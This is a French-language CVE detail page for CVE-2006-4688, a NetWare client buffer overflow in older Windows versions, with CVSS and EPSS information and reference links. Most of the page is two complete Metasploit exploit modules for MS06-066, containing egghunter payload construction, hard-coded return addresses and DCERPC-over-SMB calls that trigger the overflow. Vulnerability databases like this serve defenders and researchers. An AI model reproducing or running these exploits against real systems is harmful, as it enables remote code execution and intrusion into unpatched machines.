CVE-2006-4688 : Détail

CVE-2006-4688

78.88%V4
Network
2006-11-14
21h00 +00:00
2018-10-17
18h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Buffer overflow in Client Service for NetWare (CSNW) in Microsoft Windows 2000 SP4, XP SP2, and Server 2003 up to SP1 allows remote attackers to execute arbitrary code via crafted messages, aka "Client Service for NetWare Memory Corruption Vulnerability."

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 16373

Date de publication : 2010-08-24 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # $Id: ms06_066_nwapi.rb 10150 2010-08-25 20:55:37Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Egghunter include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Services MS06-066 nwapi32.dll', 'Description' => %q{ This module exploits a stack buffer overflow in the svchost service, when the netware client service is running. This specific vulnerability is in the nwapi32.dll module. }, 'Author' => [ 'pusscat' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10150 $', 'References' => [ [ 'CVE', '2006-4688'], [ 'OSVDB', '30260'], [ 'BID', '21023'], [ 'MSB', 'MS06-066'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload' => { 'Space' => 296, 'BadChars' => "", 'Compat' => { # -ws2ord XXX? }, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP2', { 'Ret' => 0x00EBEEEC , }, ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 14 2006')) register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'srvsvc']), ], self.class) end def exploit # [in] [unique] wchar * # [in] wchar * # [in, out] long # [out] handle # Generate the egghunter payload hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true }) egg = hunter[1] #print_status("Today, we'll be hunting for 0x#{egg.unpack("V")[0]}") # Add giant blocks of guard data before and after the egg eggdata = rand_text(1024) + egg + rand_text(1024) buflen = 295 ofstring = Rex::Text.to_unicode('\\\\') + "\x90" + hunter[0] + rand_text(buflen-hunter[0].length) + [ target.ret ].pack('V') + "\x00" #ofstring = Rex::Text.to_unicode('\\\\') + payload.encoded + [ target.ret ].pack('V') + "\x00\x00" stubdata = NDR.long(rand(0xffffffff)) + NDR.UnicodeConformantVaryingString("\\\\BBBB") + NDR.UnicodeConformantVaryingStringPreBuilt(ofstring) + # HERE! #NDR.UnicodeConformantVaryingString('\\\\' + "A"*1024 + "\x00") + NDR.long(rand(0xffffffff)) + NDR.long(rand(0xffffffff)) + #NDR.long((ofstring.length * 2) + 0xC) + eggdata print_status("Connecting to the SMB service...") connect() smb_login() handle = dcerpc_handle('e67ab081-9844-3521-9d32-834f038001c0', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") print_status("Calling the vulnerable function...") begin dcerpc.call(0x09, stubdata) rescue Rex::Proto::DCERPC::Exceptions::NoResponse print_status('Server did not respond, this is expected') rescue => e if e.to_s =~ /STATUS_PIPE_DISCONNECTED/ print_status('Server disconnected, this is expected') else raise e end else print_status("Got #{dcerpc.last_response.stub_data.length} bytes: #{dcerpc.last_response.stub_data}") end # Cleanup handler disconnect if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil and dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00") return true else return false end end end
Exploit Database EDB-ID : 16369

Date de publication : 2010-05-08 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # $Id: ms06_066_nwwks.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Services MS06-066 nwwks.dll', 'Description' => %q{ This module exploits a stack buffer overflow in the svchost service, when the netware client service is running. This specific vulnerability is in the nwapi32.dll module. }, 'Author' => [ 'pusscat' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9262 $', 'References' => [ [ 'CVE', '2006-4688'], [ 'OSVDB', '30260'], [ 'BID', '21023'], [ 'MSB', 'MS06-066'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload' => { 'Space' => 1000, 'BadChars' => "", 'Compat' => { # -ws2ord XXX? }, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP2', { 'Ret' => 0x616566fb, # modemui.dll [esp + 16]: popaw, ret }, ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 14 2006')) register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'nwwks']), ], self.class) end def exploit # [in] [unique] wchar * # [in] [unique] wchar * # [out] long ofstring = Rex::Text.to_unicode('\\\\') + rand_text(292) + [ target.ret ].pack('V') + "\x00\x00" stubdata = NDR.long(rand(0xffffffff)) + NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") + NDR.long(rand(0xffffffff)) + NDR.UnicodeConformantVaryingStringPreBuilt(payload.encoded + "\x00\x00") + NDR.long(rand(0xffffffff)) + NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") + NDR.long(rand(0xffffffff)) + NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") + NDR.UnicodeConformantVaryingStringPreBuilt(ofstring) print_status("Connecting to the SMB service...") connect() smb_login() handle = dcerpc_handle('e67ab081-9844-3521-9d32-834f038001c0', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") print_status("Calling the vulnerable function...") begin dcerpc.call(0x01, stubdata) rescue Rex::Proto::DCERPC::Exceptions::NoResponse print_status('Server did not respond, this is expected') rescue => e if e.to_s =~ /STATUS_PIPE_DISCONNECTED/ print_status('Server disconnected, this is expected') else raise e end else print_status("Got #{dcerpc.last_response.stub_data.length} bytes: #{dcerpc.last_response.stub_data}") end # Cleanup handler disconnect if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil and dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00") return true else return false end end end

Products Mentioned

Configuraton 0

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2003_server >> Version sp1

    Microsoft>>Windows_xp >> Version *

    Références

    http://securitytracker.com/id?1017224
    Tags : vdb-entry, x_refsource_SECTRACK
    http://www.us-cert.gov/cas/techalerts/TA06-318A.html
    Tags : third-party-advisory, x_refsource_CERT
    http://www.securityfocus.com/bid/21023
    Tags : vdb-entry, x_refsource_BID
    http://www.vupen.com/english/advisories/2006/4504
    Tags : vdb-entry, x_refsource_VUPEN
    http://secunia.com/advisories/22866
    Tags : third-party-advisory, x_refsource_SECUNIA